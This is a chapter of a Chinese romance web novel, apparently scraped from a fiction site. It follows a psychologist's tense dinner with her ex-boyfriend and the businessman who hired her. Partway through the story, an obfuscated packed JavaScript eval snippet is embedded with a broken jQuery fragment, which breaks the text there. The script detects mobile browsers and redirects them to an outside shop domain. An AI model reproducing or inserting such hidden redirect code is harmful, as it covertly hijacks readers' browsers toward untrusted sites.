文趣网 > 都市小说 > 如烟 > 4. 04
    这周日不休息。

    咨询室的门紧闭,桑葭待在里面一直没有出来,平常她会在外面摆弄一下花草,跟池雾看着街道上人来人往聊聊天,今天没发出一点动静。

    天总是不放晴,人的思绪和贴在身上的衣服一样,潮潮的。

    中午,有人送来一份披萨,池雾去敲门:“桑老师,你点的外卖到了。”

    桑葭呵欠连连:“给你点的,我下午出去,有电话安排在明天。”

    “一起吃吧。”池雾说,“我一个人肯定吃不完。”

    是池雾喜欢的咸蛋黄鸡肉,备注厚底,多加了份芝士,她了解桑葭,一旦记住一个人,桑葭就会记住这个人方方面面的喜好。

    “不行哦,我今天赶时间。”

    桑葭伞也没拿,匆匆忙忙打车去了江大,她联系到一位心理学教授,以前上过他的课,教授出过一本书,内容就是关于“联觉”和“感官异常”的案例研究,她觉得应该就是黎先生阐述的“感官紊乱”。

    桑葭意识到自己没有接触过这方面的案例,只有及时补充更多具体知识,心里才会踏实点。

    提早买了盒茶叶,老教授乐呵呵的,人很慈祥,对她记得很清楚,说她变化挺大,印象里腼腆内向,又问她怎么毕业后一年才去德国读心理学硕士,桑葭说:“我那会就想着找工作挣钱,没想到工作不好找,就决定学一年语言去留学。”

    稳定工作,买房,和柏征结婚,刚毕业的时候,她真是这么想的。

    “是吧?”教授在办公室的书架上找到书,递给她,“命运有时候会推着你走另一条路,不过作出决定还是要靠自己,那是很不容易的。”

    桑葭笑了笑:“还好,家里比较支持我。”

    对当时的她来说,莱比锡是一座完全陌生的城市,它古典、质朴,冬季漫长阴冷。一开始,她分不清自己是为了逃离,还是为了个人发展来到这里,环境的新鲜感带给她的只有不安和迷茫,她念旧,很多时候,只想窝在熟悉的地方安营扎寨。

    她遇到过友好,也遭受过歧视,假期的时候在租的房子里,从早到晚,发现自己没有说过一句话,眼泪会无知无觉掉下来。夜晚总是很难熬,最难熬的时候,她甚至想过人可以不要脸,可以打给柏征,想跟他说话,这样的瞬间,她克服了很多次。

    第一个漫长的冬季就这样快过去。

    人常常要在黑夜里与自己相处一段时间,才能往前走。

    她开始尝试新的事,陪房东奶奶去看一场德甲联赛,被热情庆祝进球的奶奶抱在怀里,去听音乐会培养爱好,发现其实不懂音乐也没关系,就再没去过,雪天坐火车到慕尼黑参加化妆舞会,跟一个陌生男人睡了一觉……

    这桩事有些脱轨,她尽量不去想,只当作一场久远的春梦。

    不过,在那之后,日子确实慢慢开始好过了。

    拿到书后,桑葭从学校出来,没到车站,劈头盖脸一场雨落下来。

    一辆gt63拦在她面前,她眯起眼,看见车窗降下后柏征的脸。

    车门一关,雨声被隔绝,冷气在静静运行。

    头发丝贴着脸颊,衣服淋湿了,桑葭从包里抽出纸巾,给自己擦了擦。

    车没有启动,她侧过脸:“你怎么在这?”

    “路过。”柏征注视着她湿漉漉的眼睛,喉结微动,“前天晚上,你没回我消息。”

    “不好意思麻烦你,就先回去了。”

    “一个人住?”

    桑葭想起分开时那次歇斯底里的争吵,她觉得此刻平静的交谈充满着诡异,她想下车,她要慢慢克服这种心理。

    “嗯。”

    “没再找一个?”

    桑葭往座椅上一靠,目视前方:“你找了?”

    不想回答的时候可以反问回去。

    柏征没有作声,踩下油门。

    桑葭不知道他要开去哪,她也没问。微信上点开池雾分享给她的攻略前任技巧,破镜重圆秘诀,越看头越晕。

    经过熟悉的街道,车停在一条巷子外面,她知道这里,巷子里有家小饭店,味道很好,价格实惠,大学的时候经常过来,两个人吃一顿花不了多少钱。

    那已经是挺久之前的事了。

    念旧的人,有时候很畏惧接近“旧”的时候。

    桑葭内心一阵抵触,她不要下去。

    柏征见她皱着眉:“不舒服?”

    “有点反胃。”

    桑葭用一只手按揉另一只手的虎口,柏征忽然凑过来,她下意识往后靠,拉开距离,怔怔地看着他。

    “你这副表情倒是一点没变。”

    桑葭不满他眼底明显的得意,反唇相讥:“你好像很希望我像以前一样?你在我身上找什么呢?”

    为了那十万,她应该像“剧本”里那样,忘了过去跟这个人的好与不好,克制所有情绪,用尽虚情假意逼他回心转意,拆散对方的感情后,再转身潇洒离开,显然,演得太完美难度系数很高。

    或许,袒露点真实的情绪也没什么不好。

    柏征坐回去,手臂散漫地搭在方向盘上,不爽道:“我能找什么?你给我找吗?”

    闻言,桑葭果断开门下车。

    没走几步,她被跟上来的人堵住。

    “一起吃个饭。”柏征说,“没别的意思。”

    桑葭冷静下来:“柏总现在境遇不同了,也开上自己喜欢的车,不打算请我吃点贵的?”

    “你记得我喜欢的车?”

    “……”

    柏征临时打电话给一家湖边私宴,包厢没有了,大厅有位置空出来。

    桑葭饿了,菜上桌,她不想说话,又想不到合适的台词来试探对方,只顾低头进食。

    柏征把鲜榨橙汁递过去,桑葭顺手拿起,她喜欢一切橙子味的东西,汽水、沐浴露、还有她吃到的第一颗棒棒糖,橙子味的珍宝珠。

    楼上的包厢下来几个人,桑葭抬头,一眼看见走在中间,身高长相极为突出的男人,胳膊上挽着件西装外套,灰色衬衫严严实实扣到最上面一颗,她果汁没来得及放下,视线就被抓了个正着。

    更出乎意料的是,黎慵跟那几个人说完话,就朝她的方向走过来。

    这是演哪出?

    桑葭决定以不变应万变,然而这个人一靠近,她就有种浑身绷紧的感觉。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912581|213185||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她低着头,锋利的西装裤脚出现在视线里。

    “黎总今天也到这里吃饭。”柏征不慌不忙看了眼门口出去的人,新时科技的负责团队,算是他的竞争对手,两家公司都在融资发展的关键阶段。

    黎慵目光落在菜上,糖醋小排空了半盘,嗦干净的骨头都在女孩的盘里,他冷淡开口:“柏总来谈生意?我没见过这位小姐,雪莹知道?”

    ……

    桑葭好无语,她现在应该给出怎样的反应?是不是应该无辜好奇地问自己前男友,雪莹是谁?这出戏她觉得自己一个人就够了。

    “桑小姐。”柏征顿了一下,没有介绍她的身份,也没说是朋友还是同学,“雪莹不知道,我还没跟她说。”

    黎慵漠不关心道:“吃饭而已,也没必要什么都告诉自己未婚妻。”

    柏征脸色微沉。

    桑葭偷瞄两人,站起来:“你们聊,我去趟洗手间。”

    她一离开,两个男人没再多说一句。

    洗手间里,桑葭深吸一口气,斟酌措辞,给“金主”发消息:

    黎先生,这种小场面不用您出场。

    抹了把脸,刚擦干,屏幕上跳出回复:

    打扰你们叙旧情了。

    桑葭盯着对话框,歪头,露出疑惑的表情,他这理解能力更是紊乱。

    回到座位上,桑葭问:“那位黎总走了?”

    “嗯。”柏征打量女孩脸色,“你没什么其他想问的?”

    桑葭没再动筷子,她吃不下了,没胃口:“有啊,未婚妻?你要结婚了啊?遇到真正喜欢的女孩了是吗?”

    真得说出口,还有点膈应。

    有些话太伤人了,能记一辈子。

    十六岁到二十二岁,人生中实实在在的七年,青涩的、快乐的、心酸的,就算告诉自己不重要了,时不时记起一些事,心脏依旧有一种强烈的失重感,像梦里突然的踩空。

    “结婚对我而言只是一个选择。”柏征拿起桌上的湿巾,“就跟选择靠谱的合伙人一样,谈不上其他。”

    “这种话对你未婚妻说过吗?”

    “她比你聪明。”

    桑葭失笑,沉默好一会,压下眼底的酸胀,想起池雾的分享,缓缓说道:“我要是能像你这样没心没肺就好了,就不会因为忘不了过去而无法开启一段新的感情。”

    柏征擦手的动作顿住,他抬起眼,桑葭正把视线移向窗外,雨下得大,乌云很厚。

    “忘不了什么?”他喉咙发紧。

    “不重要了。”桑葭仍旧侧着脸,两只手在大腿上死死掐着,“就算我想挽回,也来不及不是吗?你都不问问我这几年过得怎么样。”

    已经到极限了,至少今天,她实在没办法继续这样的对白,站起来,直直迎上他的目光:“我还有事,先走了,谢谢柏总请客。”

    面前的位置空了,柏征紧抿着唇,他听得见外面的雨声,砸在耳膜、胸腔,慢慢的,就把她的话模糊了,分不清真伪。

    “先生,您要的香橙慕斯。”

    服务员过来上最后一道甜点,瞥见男人眼睛红了,就把慕斯放在他手边,没问要不要打包。